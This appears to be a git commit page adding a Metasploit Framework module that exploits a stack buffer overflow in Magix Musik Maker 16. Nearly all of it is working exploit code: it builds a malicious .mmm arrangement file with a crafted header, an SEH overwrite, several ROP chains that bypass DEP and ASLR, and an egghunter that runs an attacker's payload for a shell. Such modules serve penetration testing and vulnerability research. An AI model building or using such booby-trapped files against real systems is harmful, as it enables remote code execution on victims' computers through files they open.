Added Magix Musik Maker 16 buffer overflow exploit
git-svn-id: file:///home/svn/framework3/trunk@12684 4d416f70-5f16-0410-b530-b9f4589650daunstable
Wei Chen
parent
ee55e0cf76
commit
d9c0d1c941
|
|
@ -0,0 +1,369 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Remote::Egghunter
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Magix Musik Maker 16 .mmm Stack Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in Magix Musik Maker 16.
|
||||
When opening a specially crafted arrangement file (.mmm) in the application, an
|
||||
unsafe strcpy() will allow you to overwrite a SEH handler. This exploit
|
||||
bypasses DEP & ASLR, and works on XP, Vista & Windows 7. Egghunter is used, and
|
||||
might require up to several seconds to receive a shell.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'acidgen', #found the vulnerability
|
||||
'corelanc0d3r' #rop exploit + msf module
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-002' ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 8000, #could be more, but this is enough
|
||||
'DisableNops' => 'True',
|
||||
'BadChars' => "\x00\x0a\x0d",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Windows Universal DEP & ASLR Bypass',
|
||||
{
|
||||
'OffSet' => 198,
|
||||
'Ret' => 0x200146fa, #add esp,40c/ret [ltkrn14n.dll]
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'April 26 2011',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ true, 'mmm file', 'msf.mmm']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def junk
|
||||
return rand_text(4).unpack("L")[0].to_i
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
|
||||
badchars = ""
|
||||
eggoptions =
|
||||
{
|
||||
:checksum => false,
|
||||
:eggtag => "Wo0t",
|
||||
:depmethod => "copy",
|
||||
:depreg => "edi",
|
||||
:depdest => "ebp"
|
||||
}
|
||||
hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
|
||||
|
||||
header = "RIFF"
|
||||
header << "\x8c"
|
||||
header << "A"
|
||||
header << "\x07\x00"
|
||||
header << "SEKDSVIP"
|
||||
header << "\x10\x07\x00\x00\x9b"
|
||||
header << "[n"
|
||||
header << "\x00" * 5
|
||||
header << "\x11"
|
||||
header << "\x00" * 3
|
||||
header << "\x08"
|
||||
header << "\x00" * 3
|
||||
header << "D"
|
||||
header << "\xac\x00\x00\x11"
|
||||
header << "\x00" * 9
|
||||
header << "9@"
|
||||
header << "\x00\x00\xf0"
|
||||
header << "B"
|
||||
header << "\x00" * 4
|
||||
header << "\xbd\x04\xef\xfe\x00\x00\x01"
|
||||
header << "\x00" * 3
|
||||
header << "\x10\x00\x04\x00\x02"
|
||||
header << "\x00" * 3
|
||||
header << "\x10\x00\x04\x00\x02\x00"
|
||||
header << "?"
|
||||
header << "\x00" * 3
|
||||
header << "("
|
||||
header << "\x00" * 3
|
||||
header << "\x04\x00\x04\x00\x01"
|
||||
header << "\x00" * 15
|
||||
header << "K"
|
||||
header << "\x91"
|
||||
header << "2"
|
||||
header << "\x01\xd0\x02\x00\x00"
|
||||
header << "@"
|
||||
header << "\x02\x00\x00"
|
||||
header << "UUUUUU"
|
||||
header << "\xf5"
|
||||
header << "?"
|
||||
header << "\x10"
|
||||
header << "\x00" * 7
|
||||
header << "\xff" * 8
|
||||
header << "\x00" * 1680
|
||||
header << "LISTx"
|
||||
header << "\x95\x02\x00"
|
||||
header << "physfile"
|
||||
header << "\xf8\x08\x00\x00"
|
||||
header << "C:\\Documents and Settings\\"
|
||||
header << rand_text(8)
|
||||
header << "\\My Documents\\MAGIX_Music_Maker_16\\AudioTemp"
|
||||
header << "\x00" * 52
|
||||
header << "Fat Rocker I_ogg.HDP"
|
||||
header << "\x00" * 110
|
||||
header << "C:\\Documents and Settings\\All Users\\Application Data\\MAGIX\\Music_Maker_16\\_Demos\\Demo"
|
||||
header << "\x00" * 175
|
||||
header << "Fat Rocker I.OGG"
|
||||
header << "\x00" * 678
|
||||
header << "\xf0\xbf"
|
||||
header << "\x00" * 22
|
||||
header << "\xf0"
|
||||
header << "?"
|
||||
header << "\x00" * 6
|
||||
header << "^@"
|
||||
header << "\x00" * 6
|
||||
header << "^@"
|
||||
header << "\x00" * 264
|
||||
|
||||
filename = "C:\\temp\\"
|
||||
filename << "\xb3\x10\xf8\x1f" * 14 # slide
|
||||
filename << "\x1e\x92\x01\x20" # align
|
||||
|
||||
rop_chain1 =
|
||||
[
|
||||
#API pointer
|
||||
0x2004e493, # PUSH ESP # ADD EAX,20 # POP EBX # RETN ** [LTKRN14N.dll]
|
||||
0x1ff810b3, # rop nop
|
||||
0x1ff810b3, # rop nop
|
||||
0x1ff810b3, # rop nop
|
||||
0x20047f30, # POP ECX # RETN ** [LTKRN14N.dll]
|
||||
0x2005012c, # &API ptr
|
||||
0x200263e4, # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [LTKRN14N.dll]
|
||||
0x1ffa3ab3, # MOV DWORD PTR DS:[EBX],EAX # MOV EAX,1 # POP EBX # RETN 0C ** [LTDIS14n.dll]
|
||||
junk,
|
||||
0x2004e493, # PUSH ESP # ADD EAX,20 # POP EBX # RETN ** [LTKRN14N.dll]
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
0x20035546, # MOV EAX,EBX # POP EBP # POP EBX # RETN ** [LTKRN14N.dll]
|
||||
junk,
|
||||
junk,
|
||||
0x1ff95f45, # PUSH EAX # POP ESI # RETN 08 ** [LTDIS14n.dll]
|
||||
0x1ffa82ef, # POP EAX # RETN
|
||||
junk,
|
||||
junk,
|
||||
0x2E9FA63D,
|
||||
0x2004cb15, # ADD EAX,74085539 # ADD EAX,5D58046A # RETN ** [LTKRN14N.dll] D16059A3
|
||||
0x1ff93af7, # ADD EAX,ESI # POP ESI # RETN ** [LTDIS14n.dll]
|
||||
junk,
|
||||
0x20047f30, # POP ECX # RETN ** [LTKRN14N.dll]
|
||||
0x2001283a, # POP ESI # POP EBP # POP EBX # ADD ESP,1F4 # RETN 10 ** [LTKRN14N.dll]
|
||||
# write
|
||||
0x1ff9cf5a, # MOV DWORD PTR DS:[EAX],ECX # MOV EAX,1 # POP ESI # RETN 08 ** [LTDIS14n.dll]
|
||||
junk,
|
||||
0x2004e493, # PUSH ESP # ADD EAX,20 # POP EBX # RETN ** [LTKRN14N.dll]
|
||||
junk,
|
||||
junk,
|
||||
0x20035546, # MOV EAX,EBX # POP EBP # POP EBX # RETN ** [LTKRN14N.dll]
|
||||
junk,
|
||||
junk,
|
||||
0x1ff95f45, # PUSH EAX # POP ESI # RETN 08 ** [LTDIS14n.dll]
|
||||
0x1ffa82ef, # POP EAX # RETN
|
||||
junk,
|
||||
junk,
|
||||
0x2E9FA5F9,
|
||||
0x2004cb15, # ADD EAX,74085539 # ADD EAX,5D58046A # RETN ** [LTKRN14N.dll]
|
||||
0x1ff93af7, # ADD EAX,ESI # POP ESI # RETN ** [LTDIS14n.dll]
|
||||
junk,
|
||||
0x2003e6cd, # MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 # RETN 10 ** [LTKRN14N.dll]
|
||||
junk,
|
||||
junk,
|
||||
0x1ffa82ef, # POP EAX # RETN ** [LTDIS14n.dll]
|
||||
junk,
|
||||
].pack("V*")
|
||||
|
||||
|
||||
rop_chain2 = [
|
||||
0x2004cb15, # ADD EAX,74085539 # ADD EAX,5D58046A # RETN ** [LTKRN14N.dll]
|
||||
0x1ff7c4e5, # XCHG EAX,EDI # RETN ** [LTDIS14n.dll]
|
||||
0x2004e493, # PUSH ESP # ADD EAX,20 # POP EBX # RETN ** [LTKRN14N.dll]
|
||||
0x20035546, # MOV EAX,EBX # POP EBP # POP EBX # RETN ** [LTKRN14N.dll]
|
||||
junk,
|
||||
junk,
|
||||
0x1ff95f45, # PUSH EAX # POP ESI # RETN 08 ** [LTDIS14n.dll]
|
||||
0x1ffa82ef, # POP EAX # RETN
|
||||
junk,
|
||||
junk,
|
||||
0x2E9FA591,
|
||||
0x2004cb15, # ADD EAX,74085539 # ADD EAX,5D58046A # RETN ** [LTKRN14N.dll] D16059A3
|
||||
0x1ff93af7, # ADD EAX,ESI # POP ESI # RETN ** [LTDIS14n.dll]
|
||||
junk,
|
||||
0x2003e6cd, # MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 #
|
||||
junk,
|
||||
junk,
|
||||
0x1ffa82ef, # POP EAX # RETN ** [LTDIS14n.dll]
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
0x2E9FB65D,
|
||||
0x2004cb15, # ADD EAX,74085539 # ADD EAX,5D58046A # RETN ** [LTKRN14N.dll]
|
||||
0x1ff7c4e5, # XCHG EAX,EDI # RETN ** [LTDIS14n.dll]
|
||||
0x2004e493, # PUSH ESP # ADD EAX,20 # POP EBX # RETN ** [LTKRN14N.dll]
|
||||
0x20035546, # MOV EAX,EBX # POP EBP # POP EBX # RETN ** [LTKRN14N.dll]
|
||||
junk,
|
||||
junk,
|
||||
0x1ff95f45, # PUSH EAX # POP ESI # RETN 08 ** [LTDIS14n.dll]
|
||||
0x1ffa82ef, # POP EAX # RETN
|
||||
junk,
|
||||
junk,
|
||||
0x2E9FA539,
|
||||
0x2004cb15, # ADD EAX,74085539 # ADD EAX,5D58046A # RETN **D16059A3 [LTKRN14N.dll]
|
||||
0x1ff93af7, # ADD EAX,ESI # POP ESI # RETN ** [LTDIS14n.dll]
|
||||
junk,
|
||||
0x2003e6cd, # MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 # RETN 10
|
||||
junk,
|
||||
junk,
|
||||
0x2004e494, # ADD EAX,20 # POP EBX # RETN ** [LTKRN14N.dll]
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
0x2004e494, # ADD EAX,20 # POP EBX # RETN ** [LTKRN14N.dll]
|
||||
junk,
|
||||
0x1ffa0231, # DEC EAX # RETN ** [LTDIS14n.dll]
|
||||
0x1ff7c4e5, # XCHG EAX,EDI # RETN ** [LTDIS14n.dll]
|
||||
0x2004e493, # PUSH ESP # ADD EAX,20 # POP EBX # RETN ** [LTKRN14N.dll]
|
||||
0x20035546, # MOV EAX,EBX # POP EBP # POP EBX # RETN ** [LTKRN14N.dll]
|
||||
junk,
|
||||
junk,
|
||||
0x1ff95f45, # PUSH EAX # POP ESI # RETN 08 ** [LTDIS14n.dll]
|
||||
0x1ffa82ef, # POP EAX # RETN
|
||||
junk,
|
||||
junk,
|
||||
0x2E9FA4D9,
|
||||
0x2004cb15, # ADD EAX,74085539 # ADD EAX,5D58046A # RETN D16059A3
|
||||
0x1ff93af7, # ADD EAX,ESI # POP ESI # RETN ** [LTDIS14n.dll]
|
||||
junk,
|
||||
0x2003e6cd, # MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 # RETN 10 ** [LTKRN14N.dll]
|
||||
junk,
|
||||
junk,
|
||||
0x2004e493, # PUSH ESP # ADD EAX,20 # POP EBX # RETN ** [LTKRN14N.dll]
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
0x20035546, # MOV EAX,EBX # POP EBP # POP EBX # RETN ** [LTKRN14N.dll]
|
||||
junk,
|
||||
junk,
|
||||
0x1ff95f45, # PUSH EAX # POP ESI # RETN 08 ** [LTDIS14n.dll]
|
||||
0x1ffa82ef, # POP EAX # RETN
|
||||
junk,
|
||||
junk,
|
||||
0x2E9FA469,
|
||||
0x2004cb15, # ADD EAX,74085539 # ADD EAX,5D58046A # RETN ** [LTKRN14N.dll]
|
||||
0x1ff93af7, # ADD EAX,ESI # POP ESI # RETN ** [LTDIS14n.dll]
|
||||
junk,
|
||||
0x1ff72ce1, # XCHG EAX,ESP # POP EDI # POP ESI # POP EBP # POP EBX # MOV EAX,1 # RETN
|
||||
junk,
|
||||
].pack("V*")
|
||||
|
||||
rop_chain3 = [
|
||||
0x1ff95f45, # PUSH EAX # POP ESI # RETN 08
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
0x1ffa82ef, # POP EAX # RETN
|
||||
junk,
|
||||
junk,
|
||||
0x2004FF98,
|
||||
0x1ffaccf6, # ADD EAX,100 # POP EBP # RETN
|
||||
junk,
|
||||
0x20026406, # MOV EAX,DWORD PTR DS:[EAX] # NEG EAX # RETN ** [LTKRN14N.dll]
|
||||
0x20026408, # NEG EAX # RETN ** [LTKRN14N.dll]
|
||||
0x1ff7c4e5, # XCHG EAX,EDI # RETN ** [LTDIS14n.dll]
|
||||
0x2004da79, # XOR EAX,EAX # RETN ** [LTKRN14N.dll]
|
||||
0x1ff93ae1, # ADD EAX,ESI # POP ESI # RETN
|
||||
junk,
|
||||
0x1ff95f45, # PUSH EAX # POP ESI # RETN 08 ** [LTDIS14n.dll]
|
||||
0x1fffeb75, # XCHG EAX,EBP # RETN ** [LTKRN14N.dll]
|
||||
junk,
|
||||
junk,
|
||||
#Oh Irony !
|
||||
0x6001ac84, # PUSHAD # RETN ** [ijl10.dll]
|
||||
].pack("V*")
|
||||
|
||||
rop_chain1_filler = rand_text(target['OffSet'] - rop_chain1.length - 2 )
|
||||
|
||||
# find a close heap
|
||||
prehunter = "\x33\xC0" #xor eax,eax
|
||||
prehunter << "\x64\x8B\x40\x30" #mov eax,fs[:30]
|
||||
prehunter << "\x83\xC0\x48" #add eax,48
|
||||
prehunter << "\x83\xC0\x48" #add eax,48
|
||||
prehunter << "\x8B\x10" #mov edx,[eax]
|
||||
prehunter << "\x83\xc2\x4c" #add edx,4c
|
||||
prehunter << "\x83\xc2\x4c" #add edx,4c
|
||||
prehunter << "\x8B\x12" #mov edx,[edx]
|
||||
|
||||
nops = make_nops(100)
|
||||
|
||||
filler = "\x5D\xC6\x9F\x2E" # offset to 0x2000
|
||||
filler << "\xc2\x53\x02\x20" # RETN
|
||||
filler << "\x04\x80\xfa\x1f" # jump - first run : 0x1ffa8004 : {pivot 8} # POP EDI # POP EBP # RETN ** [LTDIS14n.dll]
|
||||
filler << "\x12\x3a\xff\x1f" # p/p/p/p/add esp,90/ret [ltkrn14n.dll] - second run
|
||||
filler << "\xff\xff\xff\xff" # access violation
|
||||
|
||||
buffer = header
|
||||
buffer << filename
|
||||
buffer << rop_chain1
|
||||
buffer << rop_chain1_filler
|
||||
buffer << [target.ret].pack("V")
|
||||
buffer << filler
|
||||
buffer << rop_chain2
|
||||
buffer << rop_chain3
|
||||
buffer << prehunter
|
||||
buffer << hunter
|
||||
buffer << nops
|
||||
buffer << egg
|
||||
|
||||
filecontent = header + buffer
|
||||
|
||||
print_status("Writing payload to file")
|
||||
|
||||
file_create(filecontent)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
Loading…
Reference in New Issue